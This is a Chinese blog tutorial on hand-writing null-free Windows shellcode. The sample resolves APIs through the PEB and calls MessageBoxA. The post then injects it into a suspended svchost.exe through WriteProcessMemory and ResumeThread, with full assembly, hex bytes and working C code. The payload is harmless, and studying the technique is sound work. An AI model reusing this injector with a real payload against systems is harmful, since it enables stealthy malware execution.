编写shellcode并注入至进程

2024-02-24 10:18
文章标签 编写 注入 进程 shellcode

本文主要是介绍编写shellcode并注入至进程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

shellcode

维基百科:

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。
……
Shellcode通常是以机器码形式编写的。

去掉修饰词,shellcode就是一段机器码。

关于shellcode如何攻击,如何利用漏洞去执行,以后补上。这次主要记录编写的shellcode 以及注入。

编写shellcode

shellcode 跟我们平常见到的机器码是有区别的,他不能是随便扣出来一段机器码就是shellcode。

注意编写shellcode的一些限制:

1.不能使用字符串的直接偏移

在代码中定义一个全局变量,或直接把该字符串传递给某个函数,编译器都会把字符串放置在一个特定的Section中(如.rdata或.data)。
也就是说你在你的shellcode定义的全局变量位置在加载程序后,会重定向到另一个位置,现在你的shellcode就找不到了。(注意这里是不能使用全局变量以及字符串的直接偏移,并不代表你不能push 数据转成字符串。)

在这里插入图片描述

2.不能直接使用系统API

因为不能确定这些API函数地址,我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。

3.不能有一些特定字符(如NULL字节)
空字节:0x00,在C/C++代码中,空字节会被认为是字符串的结束符,如果shellcode中有空字节,

char *shellcode="\x11\x22\x00\x33\x44"

就不能确保后面的shellcode会被执行,比如上面的\x33\x44就不会被执行。

例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却不包含空字节。虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。
还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数。

shellcode 汇编编写

大体步骤:

1.因为不能直接使用API 所以我们也只能从PEB 开始获取当前程序加载的kernel32.dll的基址。

2.再找到kernel32导出函数GetProcAddress函数。

3.用GetProcAddress(“LoadLibrary”,&BaseOfKernel32.dll)。

4.找到LoadLibrary api,之后想要什么API只用这两个函数就行了。

上代码:
每行都有注释,这次就简单获取MessageBoxA()。

//获取kernel32.dll的基址xor ecx, ecx mov eax, fs:[ecx + 0x30]  ;//EAX = PEBmov eax, [eax + 0xc]      ;//EAX = PEB->Ldrmov esi, [eax + 0x14]     ;//ESI = PEB->Ldr.InMemOrderlodsd                     ;//EAX = Second modulexchg eax, esi             ;//EAX = ESI, ESI = EAXlodsd                     ;//EAX = Third(kernel32)mov ebx, [eax + 0x10]     ;//EBX = Base address//获取导出函数名称vamov edx, [ebx + 0x3c]		;//EDX = DOS->e_lfanewadd edx, ebx				;//EDX = PE Headermov edx, [edx + 0x78]		;//EDX = Offset export tableadd edx, ebx				;//EDX = Export tablemov esi, [edx + 0x20]		;//ESI = Offset names tableadd esi, ebx				;//ESI = Names tablexor ecx, ecx				;//EXC = 0//对比函数名称,得到GetProcAddress函数的序号(ecx)
Get_Function:inc ecx                              ;//Inc rement the ordinal lodsd                                ;//Get name offset add eax, ebx                         ;//Get functionname cmp dword ptr[eax], 0x50746547       ;//GetP jnz Get_Function					 ;cmp dword ptr[eax + 0x4], 0x41636f72 ;//rocA jnz Get_Function					 ;cmp dword ptr[eax + 0x8], 0x65726464 ;//ddre jnz Get_Function					 ;//利用序号,找到GetProcAddress函数地址mov esi, [edx + 0x24]		;//ESI = Offset ordinalsadd esi,ebx					;//ESI = ordinals tablemov cx, [esi + ecx * 2]		;//CX = Number of functiondec ecx						;mov esi,[edx+0x1c]			;//ESI = Offset Address tableadd esi,ebx					;//ESI = Address table;mov edx,[esi + ecx * 4]		;//EDX = Pointer(offset)add edx,ebx					;//EDX = GetProcAddress//利用GetProcAddress函数找到LoadLibrayA函数地址xor ecx,ecx					;//ECX = 0push ebx					;//Kernel32 base addresspush edx					;//GetProcAddresspush ecx					;//0push 0x41797261				;//aryApush 0x7262694c				;//Librpush 0x64616f4c				;//Loadpush esp					;//"LoadLibraryA"push ebx					;//Kernel32 base addresscall edx					;//GetProcAddress()//使用LoadLibraryA函数加载需要的dll文件add esp,0xc					;//pop "LoadLibraryA"pop ecx						;//ECX = 0;push eax					;//EAX = LoadLibraryApush ecx					;//"\0"mov cx,0x6c6c				;//llpush ecx					;push 0x642e3233				;//32.dpush 0x72657375				;//userpush esp					;//"user32.dll"call eax					;//LoadLibrary("user32.dll")//使用GetProcAddress从user32dll中找到需要的函数地址add esp,0x10				;//Clean stackmov edx,[esp + 0x4]			;//EDX = GetProcAddressxor ecx,ecx					;//ECX = 0push ecx					;mov	ecx,0x6141786f			;//oxAapush ecx					;//MessageBoxsub dword ptr[esp+0x3],0x61 ;//Remove "a"push 0x42656761				;//ageBpush 0x7373654d				;//Messpush esp					;//"MessageBoxA"push eax					;//user.dll addresscall edx					;//GetProcAddress(MessageBoxA)//调用MessageBoxAadd esp,0x10				;//Cleanup stackxor ecx,ecx					;//ECX = 0push ecx					;push ecx					;push ecx					;push ecx					;call eax					;//MessageBoxA();

如果想让程序结束的优雅一点,可以在调用一个ExitProcess()

可是我不想让他优雅(狗头)

转成shellcode

有个简便的办法:

如果是vs编译器写的汇编

int main()
{__asm{//上面的汇编代码拷贝到这儿}return 0;
}

编译,将生成的exe,拖进OD。找到汇编代码入口:

在这里插入图片描述

把该函数全选,二进制复制
在这里插入图片描述
将选中的二进制稍微修改一下,0x,\x 都行。

测试运行效果

测试shellcode是否转化成功

#include<stdio.h>
#include<windows.h>int main(){char *shellcode = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";DWORD old = 0;BOOL ret = VirtualProtect(shellcode,strlen(shellcode),PAGE_EXECUTE_READWRITE,&old);__asm{jmp shellcode;}return 0;
}

进程注入shellcode

#include<stdio.h>
#include<windows.h>unsigned char codebuf[] = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";int main()
{STARTUPINFO start = {0};PROCESS_INFORMATION ProcessInfo = {0};start.cb = sizeof(STARTUPINFO);memset(&ProcessInfo, 0, sizeof(PROCESS_INFORMATION));//创建挂起进程if (!CreateProcess(L"C:\\Windows\\System32\\svchost.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&start,&ProcessInfo)){printf("CreateProcess failed (%d).\n", GetLastError());return 0;}//获取线程上下文 拿到进程入口点地址CONTEXT context;context.ContextFlags = CONTEXT_ALL;if (!GetThreadContext(ProcessInfo.hThread, &context)){printf("Get ThreadContext failed (%d).\n", GetLastError());TerminateProcess(ProcessInfo.hProcess,0);return 0;}//写入shellcodeif (!WriteProcessMemory(ProcessInfo.hProcess, (LPVOID)context.Eax, codebuf, sizeof(codebuf), 0)){printf("Write Shellcode faild (%d). \n", GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}//恢复线程运行if (ResumeThread(ProcessInfo.hThread) == (DWORD)-1){printf("ResumeThread failed (%d).\n",GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}
}

在这里插入图片描述
成功。

这篇关于编写shellcode并注入至进程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/741785

相关文章

C#如何优雅地取消进程的执行之Cancellation详解

《C#如何优雅地取消进程的执行之Cancellation详解》本文介绍了.NET框架中的取消协作模型,包括CancellationToken的使用、取消请求的发送和接收、以及如何处理取消事件... 目录概述与取消线程相关的类型代码举例操作取消vs对象取消监听并响应取消请求轮询监听通过回调注册进行监听使用Wa

使用Java编写一个文件批量重命名工具

《使用Java编写一个文件批量重命名工具》这篇文章主要为大家详细介绍了如何使用Java编写一个文件批量重命名工具,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录背景处理1. 文件夹检查与遍历2. 批量重命名3. 输出配置代码片段完整代码背景在开发移动应用时,UI设计通常会提供不

[Linux]:进程(下)

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 进程终止 1.1 进程退出的场景 进程退出只有以下三种情况: 代码运行完毕,结果正确。代码运行完毕,结果不正确。代码异常终止(进程崩溃)。 1.2 进程退出码 在编程中,我们通常认为main函数是代码的入口,但实际上它只是用户级

如何编写Linux PCIe设备驱动器 之二

如何编写Linux PCIe设备驱动器 之二 功能(capability)集功能(capability)APIs通过pci_bus_read_config完成功能存取功能APIs参数pos常量值PCI功能结构 PCI功能IDMSI功能电源功率管理功能 功能(capability)集 功能(capability)APIs int pcie_capability_read_wo

java 进程 返回值

实现 Callable 接口 与 Runnable 相比,Callable 可以有返回值,返回值通过 FutureTask 进行封装。 public class MyCallable implements Callable<Integer> {public Integer call() {return 123;}} public static void main(String[] args

C#关闭指定时间段的Excel进程的方法

private DateTime beforeTime;            //Excel启动之前时间          private DateTime afterTime;               //Excel启动之后时间          //举例          beforeTime = DateTime.Now;          Excel.Applicat

linux中使用rust语言在不同进程之间通信

第一种:使用mmap映射相同文件 fn main() {let pid = std::process::id();println!(

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r